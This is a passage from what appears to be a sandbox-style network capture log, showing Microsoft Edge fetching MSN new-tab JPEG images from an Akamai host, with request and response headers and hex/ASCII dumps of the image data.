54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49835	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:59 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:00 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=229871 Expires: Sat, 30 Nov 2024 23:47:11 GMT Date: Thu, 28 Nov 2024 07:56:00 GMT Connection: close
2024-11-28 07:56:00 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-28 07:56:00 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49836	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:00 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Sat, 23 Nov 2024 17:10:02 GMT X-Source-Length: 176972 X-Datacenter: northeu X-ActivityId: c1da1ec4-0c27-40f3-823d-5ec36706435b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=422009 Expires: Tue, 03 Dec 2024 05:09:29 GMT Date: Thu, 28 Nov 2024 07:56:00 GMT Connection: close
2024-11-28 07:56:00 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 5f 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac Data Ascii: _J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP
2024-11-28 07:56:00 UTC	2206	IN	Data Raw: d7 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: 